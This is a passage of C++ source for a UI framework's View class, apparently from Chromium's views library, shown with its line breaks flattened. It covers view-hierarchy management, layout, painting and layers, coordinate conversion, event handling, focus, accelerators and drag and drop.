View::GetWidget() const { // The root view holds a reference to this view hierarchy's Widget. return parent_ ? parent_->GetWidget() : NULL; } Widget* View::GetWidget() { return const_cast<Widget*>(const_cast<const View*>(this)->GetWidget()); } void View::AddChildView(View* view) { if (view->parent_ == this) return; AddChildViewAt(view, child_count()); } void View::AddChildViewAt(View* view, int index) { CHECK_NE(view, this) << "You cannot add a view as its own child"; DCHECK_GE(index, 0); DCHECK_LE(index, child_count()); // If |view| has a parent, remove it from its parent. View* parent = view->parent_; const ui::NativeTheme* old_theme = view->GetNativeTheme(); if (parent) { if (parent == this) { ReorderChildView(view, index); return; } parent->DoRemoveChildView(view, true, true, false, this); } // Sets the prev/next focus views. InitFocusSiblings(view, index); // Let's insert the view. view->parent_ = this; children_.insert(children_.begin() + index, view); ViewHierarchyChangedDetails details(true, this, view, parent); for (View* v = this; v; v = v->parent_) v->ViewHierarchyChangedImpl(false, details); view->PropagateAddNotifications(details); UpdateTooltip(); views::Widget* widget = GetWidget(); if (widget) { RegisterChildrenForVisibleBoundsNotification(view); const ui::NativeTheme* new_theme = widget->GetNativeTheme(); if (new_theme != old_theme) PropagateNativeThemeChanged(new_theme); } if (layout_manager_.get()) layout_manager_->ViewAdded(this, view); if (use_acceleration_when_possible) ReorderLayers(); // Make sure the visibility of the child layers are correct. // If any of the parent View is hidden, then the layers of the subtree // rooted at |this| should be hidden. Otherwise, all the child layers should // inherit the visibility of the owner View. UpdateLayerVisibility(); } void View::ReorderChildView(View* view, int index) { DCHECK_EQ(view->parent_, this); if (index < 0) index = child_count() - 1; else if (index >= child_count()) return; if (children_[index] == view) return; const Views::iterator i(std::find(children_.begin(), children_.end(), view)); DCHECK(i != children_.end()); children_.erase(i); // Unlink the view first View* next_focusable = view->next_focusable_view_; View* prev_focusable = view->previous_focusable_view_; if (prev_focusable) prev_focusable->next_focusable_view_ = next_focusable; if (next_focusable) next_focusable->previous_focusable_view_ = prev_focusable; // Add it in the specified index now. InitFocusSiblings(view, index); children_.insert(children_.begin() + index, view); if (use_acceleration_when_possible) ReorderLayers(); } void View::RemoveChildView(View* view) { DoRemoveChildView(view, true, true, false, NULL); } void View::RemoveAllChildViews(bool delete_children) { while (!children_.empty()) DoRemoveChildView(children_.front(), false, false, delete_children, NULL); UpdateTooltip(); } bool View::Contains(const View* view) const { for (const View* v = view; v; v = v->parent_) { if (v == this) return true; } return false; } int View::GetIndexOf(const View* view) const { Views::const_iterator i(std::find(children_.begin(), children_.end(), view)); return i != children_.end() ? static_cast<int>(i - children_.begin()) : -1; } // Size and disposition -------------------------------------------------------- void View::SetBounds(int x, int y, int width, int height) { SetBoundsRect(gfx::Rect(x, y, std::max(0, width), std::max(0, height))); } void View::SetBoundsRect(const gfx::Rect& bounds) { if (bounds == bounds_) { if (needs_layout_) { needs_layout_ = false; Layout(); SchedulePaint(); } return; } if (visible_) { // Paint where the view is currently. SchedulePaintBoundsChanged( bounds_.size() == bounds.size() ? SCHEDULE_PAINT_SIZE_SAME : SCHEDULE_PAINT_SIZE_CHANGED); } gfx::Rect prev = bounds_; bounds_ = bounds; BoundsChanged(prev); } void View::SetSize(const gfx::Size& size) { SetBounds(x(), y(), size.width(), size.height()); } void View::SetPosition(const gfx::Point& position) { SetBounds(position.x(), position.y(), width(), height()); } void View::SetX(int x) { SetBounds(x, y(), width(), height()); } void View::SetY(int y) { SetBounds(x(), y, width(), height()); } gfx::Rect View::GetContentsBounds() const { gfx::Rect contents_bounds(GetLocalBounds()); if (border_.get()) contents_bounds.Inset(border_->GetInsets()); return contents_bounds; } gfx::Rect View::GetLocalBounds() const { return gfx::Rect(size()); } gfx::Rect View::GetLayerBoundsInPixel() const { return layer()->GetTargetBounds(); } gfx::Insets View::GetInsets() const { return border_.get() ? border_->GetInsets() : gfx::Insets(); } gfx::Rect View::GetVisibleBounds() const { if (!IsDrawn()) return gfx::Rect(); gfx::Rect vis_bounds(GetLocalBounds()); gfx::Rect ancestor_bounds; const View* view = this; gfx::Transform transform; while (view != NULL && !vis_bounds.IsEmpty()) { transform.ConcatTransform(view->GetTransform()); gfx::Transform translation; translation.Translate(static_cast<float>(view->GetMirroredX()), static_cast<float>(view->y())); transform.ConcatTransform(translation); vis_bounds = view->ConvertRectToParent(vis_bounds); const View* ancestor = view->parent_; if (ancestor != NULL) { ancestor_bounds.SetRect(0, 0, ancestor->width(), ancestor->height()); vis_bounds.Intersect(ancestor_bounds); } else if (!view->GetWidget()) { // If the view has no Widget, we're not visible. Return an empty rect. return gfx::Rect(); } view = ancestor; } if (vis_bounds.IsEmpty()) return vis_bounds; // Convert back to this views coordinate system. gfx::RectF views_vis_bounds(vis_bounds); transform.TransformRectReverse(&views_vis_bounds); // Partially visible pixels should be considered visible. return gfx::ToEnclosingRect(views_vis_bounds); } gfx::Rect View::GetBoundsInScreen() const { gfx::Point origin; View::ConvertPointToScreen(this, &origin); return gfx::Rect(origin, size()); } gfx::Size View::GetPreferredSize() { if (layout_manager_.get()) return layout_manager_->GetPreferredSize(this); return gfx::Size(); } int View::GetBaseline() const { return -1; } void View::SizeToPreferredSize() { gfx::Size prefsize = GetPreferredSize(); if ((prefsize.width() != width()) || (prefsize.height() != height())) SetBounds(x(), y(), prefsize.width(), prefsize.height()); } gfx::Size View::GetMinimumSize() { return GetPreferredSize(); } gfx::Size View::GetMaximumSize() { return gfx::Size(); } int View::GetHeightForWidth(int w) { if (layout_manager_.get()) return layout_manager_->GetPreferredHeightForWidth(this, w); return GetPreferredSize().height(); } void View::SetVisible(bool visible) { if (visible != visible_) { // If the View is currently visible, schedule paint to refresh parent. // TODO(beng): not sure we should be doing this if we have a layer. if (visible_) SchedulePaint(); visible_ = visible; // Notify the parent. if (parent_) parent_->ChildVisibilityChanged(this); // This notifies all sub-views recursively. PropagateVisibilityNotifications(this, visible_); UpdateLayerVisibility(); // If we are newly visible, schedule paint. if (visible_) SchedulePaint(); } } bool View::IsDrawn() const { return visible_ && parent_ ? parent_->IsDrawn() : false; } void View::SetEnabled(bool enabled) { if (enabled != enabled_) { enabled_ = enabled; OnEnabledChanged(); } } void View::OnEnabledChanged() { SchedulePaint(); } // Transformations ------------------------------------------------------------- gfx::Transform View::GetTransform() const { return layer() ? layer()->transform() : gfx::Transform(); } void View::SetTransform(const gfx::Transform& transform) { if (transform.IsIdentity()) { if (layer()) { layer()->SetTransform(transform); if (!paint_to_layer_) DestroyLayer(); } else { // Nothing. } } else { if (!layer()) CreateLayer(); layer()->SetTransform(transform); layer()->ScheduleDraw(); } } void View::SetPaintToLayer(bool paint_to_layer) { paint_to_layer_ = paint_to_layer; if (paint_to_layer_ && !layer()) { CreateLayer(); } else if (!paint_to_layer_ && layer()) { DestroyLayer(); } } ui::Layer* View::RecreateLayer() { ui::Layer* layer = AcquireLayer(); if (!layer) return NULL; CreateLayer(); layer_->set_scale_content(layer->scale_content()); return layer; } // RTL positioning ------------------------------------------------------------- gfx::Rect View::GetMirroredBounds() const { gfx::Rect bounds(bounds_); bounds.set_x(GetMirroredX()); return bounds; } gfx::Point View::GetMirroredPosition() const { return gfx::Point(GetMirroredX(), y()); } int View::GetMirroredX() const { return parent_ ? parent_->GetMirroredXForRect(bounds_) : x(); } int View::GetMirroredXForRect(const gfx::Rect& bounds) const { return base::i18n::IsRTL() ? (width() - bounds.x() - bounds.width()) : bounds.x(); } int View::GetMirroredXInView(int x) const { return base::i18n::IsRTL() ? width() - x : x; } int View::GetMirroredXWithWidthInView(int x, int w) const { return base::i18n::IsRTL() ? width() - x - w : x; } // Layout ---------------------------------------------------------------------- void View::Layout() { needs_layout_ = false; // If we have a layout manager, let it handle the layout for us. if (layout_manager_.get()) layout_manager_->Layout(this); // Make sure to propagate the Layout() call to any children that haven't // received it yet through the layout manager and need to be laid out. This // is needed for the case when the child requires a layout but its bounds // weren't changed by the layout manager. If there is no layout manager, we // just propagate the Layout() call down the hierarchy, so whoever receives // the call can take appropriate action. for (int i = 0, count = child_count(); i < count; ++i) { View* child = child_at(i); if (child->needs_layout_ || !layout_manager_.get()) { child->needs_layout_ = false; child->Layout(); } } } void View::InvalidateLayout() { // Always invalidate up. This is needed to handle the case of us already being // valid, but not our parent. needs_layout_ = true; if (parent_) parent_->InvalidateLayout(); } LayoutManager* View::GetLayoutManager() const { return layout_manager_.get(); } void View::SetLayoutManager(LayoutManager* layout_manager) { if (layout_manager_.get()) layout_manager_->Uninstalled(this); layout_manager_.reset(layout_manager); if (layout_manager_.get()) layout_manager_->Installed(this); } // Attributes ------------------------------------------------------------------ const char* View::GetClassName() const { return kViewClassName; } View* View::GetAncestorWithClassName(const std::string& name) { for (View* view = this; view; view = view->parent_) { if (!strcmp(view->GetClassName(), name.c_str())) return view; } return NULL; } const View* View::GetViewByID(int id) const { if (id == id_) return const_cast<View*>(this); for (int i = 0, count = child_count(); i < count; ++i) { const View* view = child_at(i)->GetViewByID(id); if (view) return view; } return NULL; } View* View::GetViewByID(int id) { return const_cast<View*>(const_cast<const View*>(this)->GetViewByID(id)); } void View::SetGroup(int gid) { // Don't change the group id once it's set. DCHECK(group_ == -1 || group_ == gid); group_ = gid; } int View::GetGroup() const { return group_; } bool View::IsGroupFocusTraversable() const { return true; } void View::GetViewsInGroup(int group, Views* views) { if (group_ == group) views->push_back(this); for (int i = 0, count = child_count(); i < count; ++i) child_at(i)->GetViewsInGroup(group, views); } View* View::GetSelectedViewForGroup(int group) { Views views; GetWidget()->GetRootView()->GetViewsInGroup(group, &views); return views.empty() ? NULL : views[0]; } // Coordinate conversion ------------------------------------------------------- // static void View::ConvertPointToTarget(const View* source, const View* target, gfx::Point* point) { if (source == target) return; // |source| can be NULL. const View* root = GetHierarchyRoot(target); if (source) { CHECK_EQ(GetHierarchyRoot(source), root); if (source != root) source->ConvertPointForAncestor(root, point); } if (target != root) target->ConvertPointFromAncestor(root, point); // API defines NULL |source| as returning the point in screen coordinates. if (!source) { *point -= root->GetWidget()->GetClientAreaBoundsInScreen().OffsetFromOrigin(); } } // static void View::ConvertPointToWidget(const View* src, gfx::Point* p) { DCHECK(src); DCHECK(p); src->ConvertPointForAncestor(NULL, p); } // static void View::ConvertPointFromWidget(const View* dest, gfx::Point* p) { DCHECK(dest); DCHECK(p); dest->ConvertPointFromAncestor(NULL, p); } // static void View::ConvertPointToScreen(const View* src, gfx::Point* p) { DCHECK(src); DCHECK(p); // If the view is not connected to a tree, there's nothing we can do. const Widget* widget = src->GetWidget(); if (widget) { ConvertPointToWidget(src, p); *p += widget->GetClientAreaBoundsInScreen().OffsetFromOrigin(); } } // static void View::ConvertPointFromScreen(const View* dst, gfx::Point* p) { DCHECK(dst); DCHECK(p); const views::Widget* widget = dst->GetWidget(); if (!widget) return; *p -= widget->GetClientAreaBoundsInScreen().OffsetFromOrigin(); views::View::ConvertPointFromWidget(dst, p); } gfx::Rect View::ConvertRectToParent(const gfx::Rect& rect) const { gfx::RectF x_rect = rect; GetTransform().TransformRect(&x_rect); x_rect.Offset(GetMirroredPosition().OffsetFromOrigin()); // Pixels we partially occupy in the parent should be included. return gfx::ToEnclosingRect(x_rect); } gfx::Rect View::ConvertRectToWidget(const gfx::Rect& rect) const { gfx::Rect x_rect = rect; for (const View* v = this; v; v = v->parent_) x_rect = v->ConvertRectToParent(x_rect); return x_rect; } // Painting -------------------------------------------------------------------- void View::SchedulePaint() { SchedulePaintInRect(GetLocalBounds()); } void View::SchedulePaintInRect(const gfx::Rect& rect) { if (!visible_) return; if (layer()) { layer()->SchedulePaint(rect); } else if (parent_) { // Translate the requested paint rect to the parent's coordinate system // then pass this notification up to the parent. parent_->SchedulePaintInRect(ConvertRectToParent(rect)); } } void View::Paint(gfx::Canvas* canvas) { TRACE_EVENT1("views", "View::Paint", "class", GetClassName()); ScopedCanvas scoped_canvas(canvas); // Paint this View and its children, setting the clip rect to the bounds // of this View and translating the origin to the local bounds' top left // point. // // Note that the X (or left) position we pass to ClipRectInt takes into // consideration whether or not the view uses a right-to-left layout so that // we paint our view in its mirrored position if need be. gfx::Rect clip_rect = bounds(); clip_rect.Inset(clip_insets_); if (parent_) clip_rect.set_x(parent_->GetMirroredXForRect(clip_rect)); if (!canvas->ClipRect(clip_rect)) return; // Non-empty clip, translate the graphics such that 0,0 corresponds to // where this view is located (related to its parent). canvas->Translate(GetMirroredPosition().OffsetFromOrigin()); canvas->Transform(GetTransform()); PaintCommon(canvas); } ui::ThemeProvider* View::GetThemeProvider() const { const Widget* widget = GetWidget(); return widget ? widget->GetThemeProvider() : NULL; } const ui::NativeTheme* View::GetNativeTheme() const { const Widget* widget = GetWidget(); return widget ? widget->GetNativeTheme() : ui::NativeTheme::instance(); } // Accelerated Painting -------------------------------------------------------- // static void View::set_use_acceleration_when_possible(bool use) { use_acceleration_when_possible = use; } // static bool View::get_use_acceleration_when_possible() { return use_acceleration_when_possible; } // Input ----------------------------------------------------------------------- View* View::GetEventHandlerForPoint(const gfx::Point& point) { // Walk the child Views recursively looking for the View that most // tightly encloses the specified point. for (int i = child_count() - 1; i >= 0; --i) { View* child = child_at(i); if (!child->visible()) continue; gfx::Point point_in_child_coords(point); ConvertPointToTarget(this, child, &point_in_child_coords); if (child->HitTestPoint(point_in_child_coords)) return child->GetEventHandlerForPoint(point_in_child_coords); } return this; } View* View::GetTooltipHandlerForPoint(const gfx::Point& point) { if (!HitTestPoint(point)) return NULL; // Walk the child Views recursively looking for the View that most // tightly encloses the specified point. for (int i = child_count() - 1; i >= 0; --i) { View* child = child_at(i); if (!child->visible()) continue; gfx::Point point_in_child_coords(point); ConvertPointToTarget(this, child, &point_in_child_coords); View* handler = child->GetTooltipHandlerForPoint(point_in_child_coords); if (handler) return handler; } return this; } gfx::NativeCursor View::GetCursor(const ui::MouseEvent& event) { #if defined(OS_WIN) #if defined(USE_AURA) static ui::Cursor arrow; if (!arrow.platform()) arrow.SetPlatformCursor(LoadCursor(NULL, IDC_ARROW)); return arrow; #else static HCURSOR arrow = LoadCursor(NULL, IDC_ARROW); return arrow; #endif #else return gfx::kNullCursor; #endif } bool View::HitTestPoint(const gfx::Point& point) const { return HitTestRect(gfx::Rect(point, gfx::Size(1, 1))); } bool View::HitTestRect(const gfx::Rect& rect) const { if (GetLocalBounds().Intersects(rect)) { if (HasHitTestMask()) { gfx::Path mask; GetHitTestMask(&mask); #if defined(USE_AURA) // TODO: should we use this every where? SkRegion clip_region; clip_region.setRect(0, 0, width(), height()); SkRegion mask_region; return mask_region.setPath(mask, clip_region) && mask_region.intersects(RectToSkIRect(rect)); #elif defined(OS_WIN) base::win::ScopedRegion rgn(mask.CreateNativeRegion()); const RECT r(rect.ToRECT()); return RectInRegion(rgn, &r) != 0; #endif } // No mask, but inside our bounds. return true; } // Outside our bounds. return false; } bool View::IsMouseHovered() { // If we haven't yet been placed in an onscreen view hierarchy, we can't be // hovered. if (!GetWidget()) return false; // If mouse events are disabled, then the mouse cursor is invisible and // is therefore not hovering over this button. if (!GetWidget()->IsMouseEventsEnabled()) return false; gfx::Point cursor_pos(gfx::Screen::GetScreenFor( GetWidget()->GetNativeView())->GetCursorScreenPoint()); ConvertPointToTarget(NULL, this, &cursor_pos); return HitTestPoint(cursor_pos); } bool View::OnMousePressed(const ui::MouseEvent& event) { return false; } bool View::OnMouseDragged(const ui::MouseEvent& event) { return false; } void View::OnMouseReleased(const ui::MouseEvent& event) { } void View::OnMouseCaptureLost() { } void View::OnMouseMoved(const ui::MouseEvent& event) { } void View::OnMouseEntered(const ui::MouseEvent& event) { } void View::OnMouseExited(const ui::MouseEvent& event) { } void View::SetMouseHandler(View* new_mouse_handler) { // |new_mouse_handler| may be NULL. if (parent_) parent_->SetMouseHandler(new_mouse_handler); } bool View::OnKeyPressed(const ui::KeyEvent& event) { return false; } bool View::OnKeyReleased(const ui::KeyEvent& event) { return false; } bool View::OnMouseWheel(const ui::MouseWheelEvent& event) { return false; } void View::OnKeyEvent(ui::KeyEvent* event) { bool consumed = (event->type() == ui::ET_KEY_PRESSED) ? OnKeyPressed(*event) : OnKeyReleased(*event); if (consumed) event->StopPropagation(); } void View::OnMouseEvent(ui::MouseEvent* event) { switch (event->type()) { case ui::ET_MOUSE_PRESSED: if (ProcessMousePressed(*event)) event->SetHandled(); return; case ui::ET_MOUSE_MOVED: if ((event->flags() & (ui::EF_LEFT_MOUSE_BUTTON | ui::EF_RIGHT_MOUSE_BUTTON | ui::EF_MIDDLE_MOUSE_BUTTON)) == 0) { OnMouseMoved(*event); return; } // FALL-THROUGH case ui::ET_MOUSE_DRAGGED: if (ProcessMouseDragged(*event)) event->SetHandled(); return; case ui::ET_MOUSE_RELEASED: ProcessMouseReleased(*event); return; case ui::ET_MOUSEWHEEL: if (OnMouseWheel(*static_cast<ui::MouseWheelEvent*>(event))) event->SetHandled(); break; case ui::ET_MOUSE_ENTERED: OnMouseEntered(*event); break; case ui::ET_MOUSE_EXITED: OnMouseExited(*event); break; default: return; } } void View::OnScrollEvent(ui::ScrollEvent* event) { } void View::OnTouchEvent(ui::TouchEvent* event) { } void View::OnGestureEvent(ui::GestureEvent* event) { } ui::TextInputClient* View::GetTextInputClient() { return NULL; } InputMethod* View::GetInputMethod() { Widget* widget = GetWidget(); return widget ? widget->GetInputMethod() : NULL; } const InputMethod* View::GetInputMethod() const { const Widget* widget = GetWidget(); return widget ? widget->GetInputMethod() : NULL; } bool View::CanAcceptEvent(const ui::Event& event) { return event.dispatch_to_hidden_targets() || IsDrawn(); } ui::EventTarget* View::GetParentTarget() { return parent_; } // Accelerators ---------------------------------------------------------------- void View::AddAccelerator(const ui::Accelerator& accelerator) { if (!accelerators_.get()) accelerators_.reset(new std::vector<ui::Accelerator>()); if (std::find(accelerators_->begin(), accelerators_->end(), accelerator) == accelerators_->end()) { accelerators_->push_back(accelerator); } RegisterPendingAccelerators(); } void View::RemoveAccelerator(const ui::Accelerator& accelerator) { if (!accelerators_.get()) { NOTREACHED() << "Removing non-existing accelerator"; return; } std::vector<ui::Accelerator>::iterator i( std::find(accelerators_->begin(), accelerators_->end(), accelerator)); if (i == accelerators_->end()) { NOTREACHED() << "Removing non-existing accelerator"; return; } size_t index = i - accelerators_->begin(); accelerators_->erase(i); if (index >= registered_accelerator_count_) { // The accelerator is not registered to FocusManager. return; } --registered_accelerator_count_; // Providing we are attached to a Widget and registered with a focus manager, // we should de-register from that focus manager now. if (GetWidget() && accelerator_focus_manager_) accelerator_focus_manager_->UnregisterAccelerator(accelerator, this); } void View::ResetAccelerators() { if (accelerators_.get()) UnregisterAccelerators(false); } bool View::AcceleratorPressed(const ui::Accelerator& accelerator) { return false; } bool View::CanHandleAccelerators() const { return enabled() && IsDrawn() && GetWidget() && GetWidget()->IsVisible(); } // Focus ----------------------------------------------------------------------- bool View::HasFocus() const { const FocusManager* focus_manager = GetFocusManager(); return focus_manager && (focus_manager->GetFocusedView() == this); } View* View::GetNextFocusableView() { return next_focusable_view_; } const View* View::GetNextFocusableView() const { return next_focusable_view_; } View* View::GetPreviousFocusableView() { return previous_focusable_view_; } void View::SetNextFocusableView(View* view) { if (view) view->previous_focusable_view_ = this; next_focusable_view_ = view; } bool View::IsFocusable() const { return focusable_ && enabled_ && IsDrawn(); } bool View::IsAccessibilityFocusable() const { return (focusable_ || accessibility_focusable_) && enabled_ && IsDrawn(); } FocusManager* View::GetFocusManager() { Widget* widget = GetWidget(); return widget ? widget->GetFocusManager() : NULL; } const FocusManager* View::GetFocusManager() const { const Widget* widget = GetWidget(); return widget ? widget->GetFocusManager() : NULL; } void View::RequestFocus() { FocusManager* focus_manager = GetFocusManager(); if (focus_manager && IsFocusable()) focus_manager->SetFocusedView(this); } bool View::SkipDefaultKeyEventProcessing(const ui::KeyEvent& event) { return false; } FocusTraversable* View::GetFocusTraversable() { return NULL; } FocusTraversable* View::GetPaneFocusTraversable() { return NULL; } // Tooltips -------------------------------------------------------------------- bool View::GetTooltipText(const gfx::Point& p, string16* tooltip) const { return false; } bool View::GetTooltipTextOrigin(const gfx::Point& p, gfx::Point* loc) const { return false; } // Context menus --------------------------------------------------------------- void View::ShowContextMenu(const gfx::Point& p, ui::MenuSourceType source_type) { if (!context_menu_controller_) return; context_menu_controller_->ShowContextMenuForView(this, p, source_type); } // static bool View::ShouldShowContextMenuOnMousePress() { return kContextMenuOnMousePress; } // Drag and drop --------------------------------------------------------------- bool View::GetDropFormats( int* formats, std::set<OSExchangeData::CustomFormat>* custom_formats) { return false; } bool View::AreDropTypesRequired() { return false; } bool View::CanDrop(const OSExchangeData& data) { // TODO(sky): when I finish up migration, this should default to true. return false; } void View::OnDragEntered(const ui::DropTargetEvent& event) { } int View::OnDragUpdated(const ui::DropTargetEvent& event) { return ui::DragDropTypes::DRAG_NONE; } void View::OnDragExited() { } int View::OnPerformDrop(const ui::DropTargetEvent& event) { return ui::DragDropTypes::DRAG_NONE; } void View::OnDragDone() { } // static bool View::ExceededDragThreshold(const gfx::Vector2d& delta) { return (abs(delta.x()) > GetHorizontalDragThreshold() || abs(delta.y()) > GetVerticalDragThreshold()); } // Accessibility---------------------------------------------------------------- gfx::NativeViewAccessible View::GetNativeViewAccessible() { if (!native_view_accessibility_) native_view_accessibility_ = NativeViewAccessibility::Create(this); if (native_view_accessibility_) return native_view_accessibility_->GetNativeObject(); return NULL; } void View::NotifyAccessibilityEvent( ui::AccessibilityTypes::Event event_type, bool send_native_event) { if (ViewsDelegate::views_delegate) ViewsDelegate::views_delegate->NotifyAccessibilityEvent(this, event_type); if (send_native_event) { if (!native_view_accessibility_) native_view_accessibility_ = NativeViewAccessibility::Create(this); if (native_view_accessibility_) native_view_accessibility_->NotifyAccessibilityEvent(event_type); } } // Scrolling ------------------------------------------------------------------- void View::ScrollRectToVisible(const gfx::Rect& rect) { // We must take RTL UI mirroring into account when adjusting the position of // the region. if (parent_) { gfx::Rect scroll_rect(rect); scroll_rect.Offset(GetMirroredX(), y()); parent_->ScrollRectToVisible(scroll_rect); } } int View::GetPageScrollIncrement(ScrollView* scroll_view, bool is_horizontal, bool is_positive) { return 0; } int View::GetLineScrollIncrement(ScrollView* scroll_view, bool is_horizontal, bool is_positive) { return 0; } //////////////////////////////////////////////////////////////////////////////// // View, protected: // Size and disposition -------------------------------------------------------- void View::OnBoundsChanged(const gfx::Rect& previous_bounds) { } void View::PreferredSizeChanged() { InvalidateLayout(); if (parent_) parent_->ChildPreferredSizeChanged(this); } bool View::NeedsNotificationWhenVisibleBoundsChange() const { return false; } void View::OnVisibleBoundsChanged() { } // Tree operations ------------------------------------------------------------- void View::ViewHierarchyChanged(const ViewHierarchyChangedDetails& details) { } void View::VisibilityChanged(View* starting_from, bool is_visible) { } void View::NativeViewHierarchyChanged(bool attached, gfx::NativeView native_view, internal::RootView* root_view) { FocusManager* focus_manager = GetFocusManager(); if (!accelerator_registration_delayed_ && accelerator_focus_manager_ && accelerator_focus_manager_ != focus_manager) { UnregisterAccelerators(true); accelerator_registration_delayed_ = true; } if (accelerator_registration_delayed_ && attached) { if (focus_manager) { RegisterPendingAccelerators(); accelerator_registration_delayed_ = false; } } } // Painting -------------------------------------------------------------------- void View::PaintChildren(gfx::Canvas* canvas) { TRACE_EVENT1("views", "View::PaintChildren", "class", GetClassName()); for (int i = 0, count = child_count(); i < count; ++i) if (!child_at(i)->layer()) child_at(i)->Paint(canvas); } void View::OnPaint(gfx::Canvas* canvas) { TRACE_EVENT1("views", "View::OnPaint", "class", GetClassName()); OnPaintBackground(canvas); OnPaintFocusBorder(canvas); OnPaintBorder(canvas); } void View::OnPaintBackground(gfx::Canvas* canvas) { if (background_.get()) { TRACE_EVENT2("views", "View::OnPaintBackground", "width", canvas->sk_canvas()->getDevice()->width(), "height", canvas->sk_canvas()->getDevice()->height()); background_->Paint(canvas, this); } } void View::OnPaintBorder(gfx::Canvas* canvas) { if (border_.get()) { TRACE_EVENT2("views", "View::OnPaintBorder", "width", canvas->sk_canvas()->getDevice()->width(), "height", canvas->sk_canvas()->getDevice()->height()); border_->Paint(*this, canvas); } } void View::OnPaintFocusBorder(gfx::Canvas* canvas) { if (focus_border_.get() && HasFocus() && (focusable() || IsAccessibilityFocusable())) { TRACE_EVENT2("views", "views::OnPaintFocusBorder", "width", canvas->sk_canvas()->getDevice()->width(), "height", canvas->sk_canvas()->getDevice()->height()); focus_border_->Paint(*this, canvas); } } // Accelerated Painting -------------------------------------------------------- void View::SetFillsBoundsOpaquely(bool fills_bounds_opaquely) { // This method should not have the side-effect of creating the layer. if (layer()) layer()->SetFillsBoundsOpaquely(fills_bounds_opaquely); } bool View::SetExternalTexture(ui::Texture* texture) { DCHECK(texture); SetPaintToLayer(true); layer()->SetExternalTexture(texture); // Child views must not paint into the external texture. So make sure each // child view has its own layer to paint into. for (Views::iterator i = children_.begin(); i != children_.end(); ++i) (*i)->SetPaintToLayer(true); SchedulePaintInRect(GetLocalBounds()); return true; } gfx::Vector2d View::CalculateOffsetToAncestorWithLayer( ui::Layer** layer_parent) { if (layer()) { if (layer_parent) *layer_parent = layer(); return gfx::Vector2d(); } if (!parent_) return gfx::Vector2d(); return gfx::Vector2d(GetMirroredX(), y()) + parent_->CalculateOffsetToAncestorWithLayer(layer_parent); } void View::UpdateParentLayer() { if (!layer()) return; ui::Layer* parent_layer = NULL; gfx::Vector2d offset(GetMirroredX(), y()); if (parent_) offset += parent_->CalculateOffsetToAncestorWithLayer(&parent_layer); ReparentLayer(offset, parent_layer); } void View::MoveLayerToParent(ui::Layer* parent_layer, const gfx::Point& point) { gfx::Point local_point(point); if (parent_layer != layer()) local_point.Offset(GetMirroredX(), y()); if (layer() && parent_layer != layer()) { parent_layer->Add(layer()); SetLayerBounds(gfx::Rect(local_point.x(), local_point.y(), width(), height())); } else { for (int i = 0, count = child_count(); i < count; ++i) child_at(i)->MoveLayerToParent(parent_layer, local_point); } } void View::UpdateLayerVisibility() { if (!use_acceleration_when_possible) return; bool visible = visible_; for (const View* v = parent_; visible && v && !v->layer(); v = v->parent_) visible = v->visible(); UpdateChildLayerVisibility(visible); } void View::UpdateChildLayerVisibility(bool ancestor_visible) { if (layer()) { layer()->SetVisible(ancestor_visible && visible_); } else { for (int i = 0, count = child_count(); i < count; ++i) child_at(i)->UpdateChildLayerVisibility(ancestor_visible && visible_); } } void View::UpdateChildLayerBounds(const gfx::Vector2d& offset) { if (layer()) { SetLayerBounds(GetLocalBounds() + offset); } else { for (int i = 0, count = child_count(); i < count; ++i) { View* child = child_at(i); child->UpdateChildLayerBounds( offset + gfx::Vector2d(child->GetMirroredX(), child->y())); } } } void View::OnPaintLayer(gfx::Canvas* canvas) { if (!layer() || !layer()->fills_bounds_opaquely()) canvas->DrawColor(SK_ColorBLACK, SkXfermode::kClear_Mode); PaintCommon(canvas); } void View::OnDeviceScaleFactorChanged(float device_scale_factor) { // Repainting with new scale factor will paint the content at the right scale. } base::Closure View::PrepareForLayerBoundsChange() { return base::Closure(); } void View::ReorderLayers() { View* v = this; while (v && !v->layer()) v = v->parent(); Widget* widget = GetWidget(); if (!v) { if (widget) { ui::Layer* layer = widget->GetLayer(); if (layer) widget->GetRootView()->ReorderChildLayers(layer); } } else { v->ReorderChildLayers(v->layer()); } if (widget) { // Reorder the widget's child NativeViews in case a child NativeView is // associated with a view (eg via a NativeViewHost). Always do the // reordering because the associated NativeView's layer (if it has one) // is parented to the widget's layer regardless of whether the host view has // an ancestor with a layer. widget->ReorderNativeViews(); } } void View::ReorderChildLayers(ui::Layer* parent_layer) { if (layer() && layer() != parent_layer) { DCHECK_EQ(parent_layer, layer()->parent()); parent_layer->StackAtBottom(layer()); } else { // Iterate backwards through the children so that a child with a layer // which is further to the back is stacked above one which is further to // the front. for (Views::const_reverse_iterator it(children_.rbegin()); it != children_.rend(); ++it) { (*it)->ReorderChildLayers(parent_layer); } } } // Input ----------------------------------------------------------------------- bool View::HasHitTestMask() const { return false; } void View::GetHitTestMask(gfx::Path* mask) const { DCHECK(mask); } View::DragInfo* View::GetDragInfo() { return parent_ ? parent_->GetDragInfo() : NULL; } // Focus ----------------------------------------------------------------------- void View::OnFocus() { // TODO(beng): Investigate whether it's possible for us to move this to // Focus(). // By default, we clear the native focus. This ensures that no visible native // view as the focus and that we still receive keyboard inputs. FocusManager* focus_manager = GetFocusManager(); if (focus_manager) focus_manager->ClearNativeFocus(); // TODO(beng): Investigate whether it's possible for us to move this to // Focus(). // Notify assistive technologies of the focus change. NotifyAccessibilityEvent(ui::AccessibilityTypes::EVENT_FOCUS, true); } void View::OnBlur() { } void View::Focus() { SchedulePaint(); OnFocus(); } void View::Blur() { SchedulePaint(); OnBlur(); } // Tooltips -------------------------------------------------------------------- void View::TooltipTextChanged() { Widget* widget = GetWidget(); // TooltipManager may be null if there is a problem creating it. if (widget && widget->native_widget_private()->GetTooltipManager()) { widget->native_widget_private()->GetTooltipManager()-> TooltipTextChanged(this); } } // Context menus --------------------------------------------------------------- gfx::Point View::GetKeyboardContextMenuLocation() { gfx::Rect vis_bounds = GetVisibleBounds(); gfx::Point screen_point(vis_bounds.x() + vis_bounds.width() / 2, vis_bounds.y() + vis_bounds.height() / 2); ConvertPointToScreen(this, &screen_point); return screen_point; } // Drag and drop --------------------------------------------------------------- int View::GetDragOperations(const gfx::Point& press_pt) { return drag_controller_ ? drag_controller_->GetDragOperationsForView(this, press_pt) : ui::DragDropTypes::DRAG_NONE; } void View::WriteDragData(const gfx::Point& press_pt, OSExchangeData* data) { DCHECK(drag_controller_); drag_controller_->WriteDragDataForView(this, press_pt, data); } bool View::InDrag() { Widget* widget = GetWidget(); return widget ? widget->dragged_view() == this : false; } // Debugging ------------------------------------------------------------------- #if !defined(NDEBUG) std::string View::PrintViewGraph(bool first) { return DoPrintViewGraph(first, this); } std::string View::DoPrintViewGraph(bool first, View* 